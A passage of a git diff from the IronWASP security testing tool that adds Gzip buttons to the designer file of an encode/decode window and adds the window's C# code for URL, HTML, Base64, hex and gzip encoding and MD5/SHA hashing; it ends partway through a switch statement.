- // - this.HtmlDecodeBtn.Location = new System.Drawing.Point(45, 229); - this.HtmlDecodeBtn.Name = "HtmlDecodeBtn"; - this.HtmlDecodeBtn.Size = new System.Drawing.Size(126, 23); - this.HtmlDecodeBtn.TabIndex = 24; - this.HtmlDecodeBtn.Text = "HtmlDecode(Input)"; - this.HtmlDecodeBtn.UseVisualStyleBackColor = true; - this.HtmlDecodeBtn.Click += new System.EventHandler(this.HtmlDecodeBtn_Click); - // - // UrlDecodeBtn - // - this.UrlDecodeBtn.Location = new System.Drawing.Point(45, 200); - this.UrlDecodeBtn.Name = "UrlDecodeBtn"; - this.UrlDecodeBtn.Size = new System.Drawing.Size(126, 23); - this.UrlDecodeBtn.TabIndex = 23; - this.UrlDecodeBtn.Text = "UrlDecode(Input)"; - this.UrlDecodeBtn.UseVisualStyleBackColor = true; - this.UrlDecodeBtn.Click += new System.EventHandler(this.UrlDecodeBtn_Click); - // - // ToHexBtn - // - this.ToHexBtn.Location = new System.Drawing.Point(45, 149); - this.ToHexBtn.Name = "ToHexBtn"; - this.ToHexBtn.Size = new System.Drawing.Size(126, 23); - this.ToHexBtn.TabIndex = 22; - this.ToHexBtn.Text = "ToHex(Input)"; - this.ToHexBtn.UseVisualStyleBackColor = true; - this.ToHexBtn.Click += new System.EventHandler(this.ToHexBtn_Click); - // - // Base64EncodeBtn - // - this.Base64EncodeBtn.Location = new System.Drawing.Point(45, 120); - this.Base64EncodeBtn.Name = "Base64EncodeBtn"; - this.Base64EncodeBtn.Size = new System.Drawing.Size(126, 23); - this.Base64EncodeBtn.TabIndex = 21; - this.Base64EncodeBtn.Text = "Base64Encode(Input)"; - this.Base64EncodeBtn.UseVisualStyleBackColor = true; - this.Base64EncodeBtn.Click += new System.EventHandler(this.Base64EncodeBtn_Click); - // - // HexEncodeBtn - // - this.HexEncodeBtn.Location = new System.Drawing.Point(45, 91); - this.HexEncodeBtn.Name = "HexEncodeBtn"; - this.HexEncodeBtn.Size = new System.Drawing.Size(126, 23); - this.HexEncodeBtn.TabIndex = 20; - this.HexEncodeBtn.Text = "HexEncode(Input)"; - this.HexEncodeBtn.UseVisualStyleBackColor = true; - this.HexEncodeBtn.Click += new System.EventHandler(this.HexEncodeBtn_Click); - // - // HtmlEncodeBtn - // - this.HtmlEncodeBtn.Location = new System.Drawing.Point(45, 62); - this.HtmlEncodeBtn.Name = "HtmlEncodeBtn"; - this.HtmlEncodeBtn.Size = new System.Drawing.Size(126, 23); - this.HtmlEncodeBtn.TabIndex = 19; - this.HtmlEncodeBtn.Text = "HtmlEncode(Input)"; - this.HtmlEncodeBtn.UseVisualStyleBackColor = true; - this.HtmlEncodeBtn.Click += new System.EventHandler(this.HtmlEncodeBtn_Click); - // - // UrlEncodeBtn - // - this.UrlEncodeBtn.Location = new System.Drawing.Point(45, 33); - this.UrlEncodeBtn.Name = "UrlEncodeBtn"; - this.UrlEncodeBtn.Size = new System.Drawing.Size(126, 23); - this.UrlEncodeBtn.TabIndex = 18; - this.UrlEncodeBtn.Text = "UrlEncode(Input)"; - this.UrlEncodeBtn.UseVisualStyleBackColor = true; - this.UrlEncodeBtn.Click += new System.EventHandler(this.UrlEncodeBtn_Click); - // - // StatusTB - // - this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusTB.Location = new System.Drawing.Point(13, 491); - this.StatusTB.Multiline = true; - this.StatusTB.Name = "StatusTB"; - this.StatusTB.ReadOnly = true; - this.StatusTB.Size = new System.Drawing.Size(154, 59); - this.StatusTB.TabIndex = 17; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(81, 9); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(53, 13); - this.label3.TabIndex = 2; - this.label3.Text = "Tools API"; - // - // EncodeDecodeWindow - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(784, 561); - this.Controls.Add(this.EncDecBaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MinimumSize = new System.Drawing.Size(700, 600); - this.Name = "EncodeDecodeWindow"; - this.Text = "EncodeDecodeWindow"; - this.EncDecBaseSplit.Panel1.ResumeLayout(false); - this.EncDecBaseSplit.Panel2.ResumeLayout(false); - this.EncDecBaseSplit.Panel2.PerformLayout(); - this.EncDecBaseSplit.ResumeLayout(false); - this.EncDecRightSplit.Panel1.ResumeLayout(false); - this.EncDecRightSplit.Panel1.PerformLayout(); - this.EncDecRightSplit.Panel2.ResumeLayout(false); - this.EncDecRightSplit.Panel2.PerformLayout(); - this.EncDecRightSplit.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.SplitContainer EncDecBaseSplit; - private System.Windows.Forms.SplitContainer EncDecRightSplit; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label3; - internal System.Windows.Forms.TextBox StatusTB; - internal System.Windows.Forms.Button HtmlEncodeBtn; - internal System.Windows.Forms.Button UrlEncodeBtn; - internal System.Windows.Forms.Button HexEncodeBtn; - internal System.Windows.Forms.Button Base64EncodeBtn; - internal System.Windows.Forms.Button ToHexBtn; - internal System.Windows.Forms.Button UrlDecodeBtn; - internal System.Windows.Forms.Button HtmlDecodeBtn; - internal System.Windows.Forms.Button Base64DecodeBtn; - internal System.Windows.Forms.Button HexDecodeBtn; - internal System.Windows.Forms.Button SHA384Btn; - internal System.Windows.Forms.Button SHA256Btn; - internal System.Windows.Forms.Button SHA1Btn; - internal System.Windows.Forms.Button MD5Btn; - internal System.Windows.Forms.Button SHA512Btn; - private System.Windows.Forms.Button EncodeOutToEncodeInBtn; - private TextBoxPlus InputTB; - private TextBoxPlus OutputTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class EncodeDecodeWindow + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(EncodeDecodeWindow)); + this.EncDecBaseSplit = new System.Windows.Forms.SplitContainer(); + this.EncDecRightSplit = new System.Windows.Forms.SplitContainer(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.GzipEncodeBtn = new System.Windows.Forms.Button(); + this.GzipDecodeBtn = new System.Windows.Forms.Button(); + this.EncodeOutToEncodeInBtn = new System.Windows.Forms.Button(); + this.SHA512Btn = new System.Windows.Forms.Button(); + this.SHA384Btn = new System.Windows.Forms.Button(); + this.SHA256Btn = new System.Windows.Forms.Button(); + this.SHA1Btn = new System.Windows.Forms.Button(); + this.MD5Btn = new System.Windows.Forms.Button(); + this.Base64DecodeBtn = new System.Windows.Forms.Button(); + this.HexDecodeBtn = new System.Windows.Forms.Button(); + this.HtmlDecodeBtn = new System.Windows.Forms.Button(); + this.UrlDecodeBtn = new System.Windows.Forms.Button(); + this.ToHexBtn = new System.Windows.Forms.Button(); + this.Base64EncodeBtn = new System.Windows.Forms.Button(); + this.HexEncodeBtn = new System.Windows.Forms.Button(); + this.HtmlEncodeBtn = new System.Windows.Forms.Button(); + this.UrlEncodeBtn = new System.Windows.Forms.Button(); + this.StatusTB = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.InputTB = new IronWASP.TextBoxPlus(); + this.OutputTB = new IronWASP.TextBoxPlus(); + this.EncDecBaseSplit.Panel1.SuspendLayout(); + this.EncDecBaseSplit.Panel2.SuspendLayout(); + this.EncDecBaseSplit.SuspendLayout(); + this.EncDecRightSplit.Panel1.SuspendLayout(); + this.EncDecRightSplit.Panel2.SuspendLayout(); + this.EncDecRightSplit.SuspendLayout(); + this.SuspendLayout(); + // + // EncDecBaseSplit + // + this.EncDecBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.EncDecBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.EncDecBaseSplit.IsSplitterFixed = true; + this.EncDecBaseSplit.Location = new System.Drawing.Point(0, 0); + this.EncDecBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.EncDecBaseSplit.Name = "EncDecBaseSplit"; + // + // EncDecBaseSplit.Panel1 + // + this.EncDecBaseSplit.Panel1.Controls.Add(this.EncDecRightSplit); + // + // EncDecBaseSplit.Panel2 + // + this.EncDecBaseSplit.Panel2.Controls.Add(this.GzipEncodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.GzipDecodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.EncodeOutToEncodeInBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA512Btn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA384Btn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA256Btn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA1Btn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.MD5Btn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.Base64DecodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.HexDecodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.HtmlDecodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.UrlDecodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.ToHexBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.Base64EncodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.HexEncodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.HtmlEncodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.UrlEncodeBtn); + this.EncDecBaseSplit.Panel2.Controls.Add(this.StatusTB); + this.EncDecBaseSplit.Panel2.Controls.Add(this.label3); + this.EncDecBaseSplit.Size = new System.Drawing.Size(784, 561); + this.EncDecBaseSplit.SplitterDistance = 607; + this.EncDecBaseSplit.SplitterWidth = 2; + this.EncDecBaseSplit.TabIndex = 0; + // + // EncDecRightSplit + // + this.EncDecRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.EncDecRightSplit.Location = new System.Drawing.Point(0, 0); + this.EncDecRightSplit.Margin = new System.Windows.Forms.Padding(0); + this.EncDecRightSplit.Name = "EncDecRightSplit"; + this.EncDecRightSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // EncDecRightSplit.Panel1 + // + this.EncDecRightSplit.Panel1.Controls.Add(this.InputTB); + this.EncDecRightSplit.Panel1.Controls.Add(this.label1); + // + // EncDecRightSplit.Panel2 + // + this.EncDecRightSplit.Panel2.Controls.Add(this.OutputTB); + this.EncDecRightSplit.Panel2.Controls.Add(this.label2); + this.EncDecRightSplit.Size = new System.Drawing.Size(607, 561); + this.EncDecRightSplit.SplitterDistance = 269; + this.EncDecRightSplit.SplitterWidth = 2; + this.EncDecRightSplit.TabIndex = 0; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 4); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(34, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Input:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 4); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(42, 13); + this.label2.TabIndex = 2; + this.label2.Text = "Output:"; + // + // GzipEncodeBtn + // + this.GzipEncodeBtn.Location = new System.Drawing.Point(45, 156); + this.GzipEncodeBtn.Name = "GzipEncodeBtn"; + this.GzipEncodeBtn.Size = new System.Drawing.Size(126, 23); + this.GzipEncodeBtn.TabIndex = 34; + this.GzipEncodeBtn.Text = "GzipEncode(Input)"; + this.GzipEncodeBtn.UseVisualStyleBackColor = true; + this.GzipEncodeBtn.Click += new System.EventHandler(this.GzipEncodeBtn_Click); + // + // GzipDecodeBtn + // + this.GzipDecodeBtn.Location = new System.Drawing.Point(45, 306); + this.GzipDecodeBtn.Name = "GzipDecodeBtn"; + this.GzipDecodeBtn.Size = new System.Drawing.Size(126, 23); + this.GzipDecodeBtn.TabIndex = 33; + this.GzipDecodeBtn.Text = "GzipDecode(Input)"; + this.GzipDecodeBtn.UseVisualStyleBackColor = true; + this.GzipDecodeBtn.Click += new System.EventHandler(this.GzipDecodeBtn_Click); + // + // EncodeOutToEncodeInBtn + // + this.EncodeOutToEncodeInBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.EncodeOutToEncodeInBtn.BackColor = System.Drawing.Color.Transparent; + this.EncodeOutToEncodeInBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("EncodeOutToEncodeInBtn.BackgroundImage"))); + this.EncodeOutToEncodeInBtn.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; + this.EncodeOutToEncodeInBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.EncodeOutToEncodeInBtn.ForeColor = System.Drawing.Color.Transparent; + this.EncodeOutToEncodeInBtn.Location = new System.Drawing.Point(4, 226); + this.EncodeOutToEncodeInBtn.Name = "EncodeOutToEncodeInBtn"; + this.EncodeOutToEncodeInBtn.Size = new System.Drawing.Size(35, 96); + this.EncodeOutToEncodeInBtn.TabIndex = 32; + this.EncodeOutToEncodeInBtn.UseVisualStyleBackColor = false; + this.EncodeOutToEncodeInBtn.Click += new System.EventHandler(this.EncodeOutToEncodeInBtn_Click); + // + // SHA512Btn + // + this.SHA512Btn.Location = new System.Drawing.Point(45, 458); + this.SHA512Btn.Name = "SHA512Btn"; + this.SHA512Btn.Size = new System.Drawing.Size(126, 23); + this.SHA512Btn.TabIndex = 31; + this.SHA512Btn.Text = "SHA512(Input)"; + this.SHA512Btn.UseVisualStyleBackColor = true; + this.SHA512Btn.Click += new System.EventHandler(this.SHA512Btn_Click); + // + // SHA384Btn + // + this.SHA384Btn.Location = new System.Drawing.Point(45, 433); + this.SHA384Btn.Name = "SHA384Btn"; + this.SHA384Btn.Size = new System.Drawing.Size(126, 23); + this.SHA384Btn.TabIndex = 30; + this.SHA384Btn.Text = "SHA384(Input)"; + this.SHA384Btn.UseVisualStyleBackColor = true; + this.SHA384Btn.Click += new System.EventHandler(this.SHA384Btn_Click); + // + // SHA256Btn + // + this.SHA256Btn.Location = new System.Drawing.Point(45, 407); + this.SHA256Btn.Name = "SHA256Btn"; + this.SHA256Btn.Size = new System.Drawing.Size(126, 23); + this.SHA256Btn.TabIndex = 29; + this.SHA256Btn.Text = "SHA256(Input)"; + this.SHA256Btn.UseVisualStyleBackColor = true; + this.SHA256Btn.Click += new System.EventHandler(this.SHA256Btn_Click); + // + // SHA1Btn + // + this.SHA1Btn.Location = new System.Drawing.Point(45, 381); + this.SHA1Btn.Name = "SHA1Btn"; + this.SHA1Btn.Size = new System.Drawing.Size(126, 23); + this.SHA1Btn.TabIndex = 28; + this.SHA1Btn.Text = "SHA1(Input)"; + this.SHA1Btn.UseVisualStyleBackColor = true; + this.SHA1Btn.Click += new System.EventHandler(this.SHA1Btn_Click); + // + // MD5Btn + // + this.MD5Btn.Location = new System.Drawing.Point(45, 355); + this.MD5Btn.Name = "MD5Btn"; + this.MD5Btn.Size = new System.Drawing.Size(126, 23); + this.MD5Btn.TabIndex = 27; + this.MD5Btn.Text = "MD5(Input)"; + this.MD5Btn.UseVisualStyleBackColor = true; + this.MD5Btn.Click += new System.EventHandler(this.MD5Btn_Click); + // + // Base64DecodeBtn + // + this.Base64DecodeBtn.Location = new System.Drawing.Point(45, 280); + this.Base64DecodeBtn.Name = "Base64DecodeBtn"; + this.Base64DecodeBtn.Size = new System.Drawing.Size(126, 23); + this.Base64DecodeBtn.TabIndex = 26; + this.Base64DecodeBtn.Text = "Base64Decode(Input)"; + this.Base64DecodeBtn.UseVisualStyleBackColor = true; + this.Base64DecodeBtn.Click += new System.EventHandler(this.Base64DecodeBtn_Click); + // + // HexDecodeBtn + // + this.HexDecodeBtn.Location = new System.Drawing.Point(45, 254); + this.HexDecodeBtn.Name = "HexDecodeBtn"; + this.HexDecodeBtn.Size = new System.Drawing.Size(126, 23); + this.HexDecodeBtn.TabIndex = 25; + this.HexDecodeBtn.Text = "HexDecode(Input)"; + this.HexDecodeBtn.UseVisualStyleBackColor = true; + this.HexDecodeBtn.Click += new System.EventHandler(this.HexDecodeBtn_Click); + // + // HtmlDecodeBtn + // + this.HtmlDecodeBtn.Location = new System.Drawing.Point(45, 228); + this.HtmlDecodeBtn.Name = "HtmlDecodeBtn"; + this.HtmlDecodeBtn.Size = new System.Drawing.Size(126, 23); + this.HtmlDecodeBtn.TabIndex = 24; + this.HtmlDecodeBtn.Text = "HtmlDecode(Input)"; + this.HtmlDecodeBtn.UseVisualStyleBackColor = true; + this.HtmlDecodeBtn.Click += new System.EventHandler(this.HtmlDecodeBtn_Click); + // + // UrlDecodeBtn + // + this.UrlDecodeBtn.Location = new System.Drawing.Point(45, 202); + this.UrlDecodeBtn.Name = "UrlDecodeBtn"; + this.UrlDecodeBtn.Size = new System.Drawing.Size(126, 23); + this.UrlDecodeBtn.TabIndex = 23; + this.UrlDecodeBtn.Text = "UrlDecode(Input)"; + this.UrlDecodeBtn.UseVisualStyleBackColor = true; + this.UrlDecodeBtn.Click += new System.EventHandler(this.UrlDecodeBtn_Click); + // + // ToHexBtn + // + this.ToHexBtn.Location = new System.Drawing.Point(45, 130); + this.ToHexBtn.Name = "ToHexBtn"; + this.ToHexBtn.Size = new System.Drawing.Size(126, 23); + this.ToHexBtn.TabIndex = 22; + this.ToHexBtn.Text = "ToHex(Input)"; + this.ToHexBtn.UseVisualStyleBackColor = true; + this.ToHexBtn.Click += new System.EventHandler(this.ToHexBtn_Click); + // + // Base64EncodeBtn + // + this.Base64EncodeBtn.Location = new System.Drawing.Point(45, 104); + this.Base64EncodeBtn.Name = "Base64EncodeBtn"; + this.Base64EncodeBtn.Size = new System.Drawing.Size(126, 23); + this.Base64EncodeBtn.TabIndex = 21; + this.Base64EncodeBtn.Text = "Base64Encode(Input)"; + this.Base64EncodeBtn.UseVisualStyleBackColor = true; + this.Base64EncodeBtn.Click += new System.EventHandler(this.Base64EncodeBtn_Click); + // + // HexEncodeBtn + // + this.HexEncodeBtn.Location = new System.Drawing.Point(45, 78); + this.HexEncodeBtn.Name = "HexEncodeBtn"; + this.HexEncodeBtn.Size = new System.Drawing.Size(126, 23); + this.HexEncodeBtn.TabIndex = 20; + this.HexEncodeBtn.Text = "HexEncode(Input)"; + this.HexEncodeBtn.UseVisualStyleBackColor = true; + this.HexEncodeBtn.Click += new System.EventHandler(this.HexEncodeBtn_Click); + // + // HtmlEncodeBtn + // + this.HtmlEncodeBtn.Location = new System.Drawing.Point(45, 52); + this.HtmlEncodeBtn.Name = "HtmlEncodeBtn"; + this.HtmlEncodeBtn.Size = new System.Drawing.Size(126, 23); + this.HtmlEncodeBtn.TabIndex = 19; + this.HtmlEncodeBtn.Text = "HtmlEncode(Input)"; + this.HtmlEncodeBtn.UseVisualStyleBackColor = true; + this.HtmlEncodeBtn.Click += new System.EventHandler(this.HtmlEncodeBtn_Click); + // + // UrlEncodeBtn + // + this.UrlEncodeBtn.Location = new System.Drawing.Point(45, 26); + this.UrlEncodeBtn.Name = "UrlEncodeBtn"; + this.UrlEncodeBtn.Size = new System.Drawing.Size(126, 23); + this.UrlEncodeBtn.TabIndex = 18; + this.UrlEncodeBtn.Text = "UrlEncode(Input)"; + this.UrlEncodeBtn.UseVisualStyleBackColor = true; + this.UrlEncodeBtn.Click += new System.EventHandler(this.UrlEncodeBtn_Click); + // + // StatusTB + // + this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusTB.Location = new System.Drawing.Point(13, 498); + this.StatusTB.Multiline = true; + this.StatusTB.Name = "StatusTB"; + this.StatusTB.ReadOnly = true; + this.StatusTB.Size = new System.Drawing.Size(154, 59); + this.StatusTB.TabIndex = 17; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(81, 5); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(53, 13); + this.label3.TabIndex = 2; + this.label3.Text = "Tools API"; + // + // InputTB + // + this.InputTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.InputTB.Location = new System.Drawing.Point(0, 20); + this.InputTB.Name = "InputTB"; + this.InputTB.ReadOnly = false; + this.InputTB.Size = new System.Drawing.Size(607, 249); + this.InputTB.TabIndex = 2; + this.InputTB.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.InputTB_ValueChanged); + // + // OutputTB + // + this.OutputTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.OutputTB.Location = new System.Drawing.Point(0, 20); + this.OutputTB.Name = "OutputTB"; + this.OutputTB.ReadOnly = false; + this.OutputTB.Size = new System.Drawing.Size(607, 270); + this.OutputTB.TabIndex = 3; + // + // EncodeDecodeWindow + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(784, 561); + this.Controls.Add(this.EncDecBaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(700, 600); + this.Name = "EncodeDecodeWindow"; + this.Text = "EncodeDecodeWindow"; + this.EncDecBaseSplit.Panel1.ResumeLayout(false); + this.EncDecBaseSplit.Panel2.ResumeLayout(false); + this.EncDecBaseSplit.Panel2.PerformLayout(); + this.EncDecBaseSplit.ResumeLayout(false); + this.EncDecRightSplit.Panel1.ResumeLayout(false); + this.EncDecRightSplit.Panel1.PerformLayout(); + this.EncDecRightSplit.Panel2.ResumeLayout(false); + this.EncDecRightSplit.Panel2.PerformLayout(); + this.EncDecRightSplit.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer EncDecBaseSplit; + private System.Windows.Forms.SplitContainer EncDecRightSplit; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + internal System.Windows.Forms.TextBox StatusTB; + internal System.Windows.Forms.Button HtmlEncodeBtn; + internal System.Windows.Forms.Button UrlEncodeBtn; + internal System.Windows.Forms.Button HexEncodeBtn; + internal System.Windows.Forms.Button Base64EncodeBtn; + internal System.Windows.Forms.Button ToHexBtn; + internal System.Windows.Forms.Button UrlDecodeBtn; + internal System.Windows.Forms.Button HtmlDecodeBtn; + internal System.Windows.Forms.Button Base64DecodeBtn; + internal System.Windows.Forms.Button HexDecodeBtn; + internal System.Windows.Forms.Button SHA384Btn; + internal System.Windows.Forms.Button SHA256Btn; + internal System.Windows.Forms.Button SHA1Btn; + internal System.Windows.Forms.Button MD5Btn; + internal System.Windows.Forms.Button SHA512Btn; + private System.Windows.Forms.Button EncodeOutToEncodeInBtn; + private TextBoxPlus InputTB; + private TextBoxPlus OutputTB; + internal System.Windows.Forms.Button GzipEncodeBtn; + internal System.Windows.Forms.Button GzipDecodeBtn; + } } \ No newline at end of file diff --git a/Iron/EncodeDecodeWindow.cs b/Iron/EncodeDecodeWindow.cs new file mode 100644 index 0000000..43788f8 --- /dev/null +++ b/Iron/EncodeDecodeWindow.cs @@ -0,0 +1,499 @@ +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class EncodeDecodeWindow : Form + { + internal static bool UrlEncode = true; + internal static bool HtmlEncode = false; + internal static bool HexEncode = false; + internal static bool Base64Encode = false; + internal static bool ToHex = false; + + internal static bool UrlDecode = false; + internal static bool HtmlDecode = false; + internal static bool HexDecode = false; + internal static bool Base64Decode = false; + + internal static bool MD5 = false; + internal static bool SHA1 = false; + internal static bool SHA256 = false; + internal static bool SHA384 = false; + internal static bool SHA512 = false; + + internal static EncodeDecode_d Command; + internal static string Input = ""; + internal static Thread T; + + bool IsInputBinary = false; + + string LastResultString = ""; + byte[] LastResultsBytes = null; + string InputString = ""; + byte[] InputBytes = null; + string LastCommand = ""; + string CurrentCommand = ""; + + const string UrlEncodeCmd = "UrlEncode"; + const string UrlDecodeCmd = "UrlDecode"; + const string Base64EncodeCmd = "Base64Encode"; + const string Base64DecodeCmd = "Base64Decode"; + const string HtmlEncodeCmd = "HtmlEncode"; + const string HtmlDecodeCmd = "HtmlDecode"; + const string HexEncodeCmd = "HexEncode"; + const string HexDecodeCmd = "HexDecode"; + const string GzipEncodeCmd = "GzipEncode"; + const string GzipDecodeCmd = "GzipDecode"; + const string ToHexCmd = "ToHex"; + + const string Md5HashCmd = "Md5Hash"; + const string ShaHashCmd = "ShaHash"; + const string Sha256HashCmd = "Sha256Hash"; + const string Sha384HashCmd = "Sha384Hash"; + const string Sha512HashCmd = "Sha512Hash"; + + public EncodeDecodeWindow() + { + InitializeComponent(); + } + + internal delegate string EncodeDecode_d(string Input); + + void StartExecution() + { + DisableAllButtons(); + StatusTB.Text = "Executing..."; + OutputTB.ClearData(); + InputString = InputTB.GetText(); + InputBytes = InputTB.GetBytes(); + //Input = InputTB.GetText(); + T = new Thread(ExecuteCommand); + T.Start(); + } + + void ExecuteCommand() + { + string Status = ""; + try + { + switch(CurrentCommand) + { + case(UrlEncodeCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.UrlEncodeBytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.UrlEncode(InputString), Status); + } + break; + case(Base64EncodeCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.Base64EncodeBytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.Base64Encode(InputString), Status); + } + break; + case (HtmlEncodeCmd): + ShowEncodeDecodeResult(Tools.HtmlEncode(InputString), Status); + break; + case (HexEncodeCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.HexEncodeBytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.HexEncode(InputString), Status); + } + break; + case (ToHexCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.ToHex(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.ToHex(InputString), Status); + } + break; + case (GzipEncodeCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.GzipEncodeBytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.GzipEncode(InputString), Status); + } + break; + case (UrlDecodeCmd): + ShowEncodeDecodeResult(Tools.UrlDecodeToBytes(InputString), Status); + break; + case (Base64DecodeCmd): + ShowEncodeDecodeResult(Tools.Base64DecodeToBytes(InputString), Status); + break; + case (HtmlDecodeCmd): + ShowEncodeDecodeResult(Tools.HtmlDecode(InputString), Status); + break; + case (HexDecodeCmd): + ShowEncodeDecodeResult(Tools.HexDecode(InputString), Status); + break; + case (GzipDecodeCmd): + ShowEncodeDecodeResult(Tools.GzipDecodeToBytes(InputBytes), Status); + break; + case (Md5HashCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.MD5Bytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.MD5(InputString), Status); + } + break; + case (ShaHashCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.SHA1Bytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.SHA1(InputString), Status); + } + break; + case (Sha256HashCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.SHA256Bytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.SHA256(InputString), Status); + } + break; + case (Sha384HashCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.SHA384Bytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.SHA384(InputString), Status); + } + break; + case 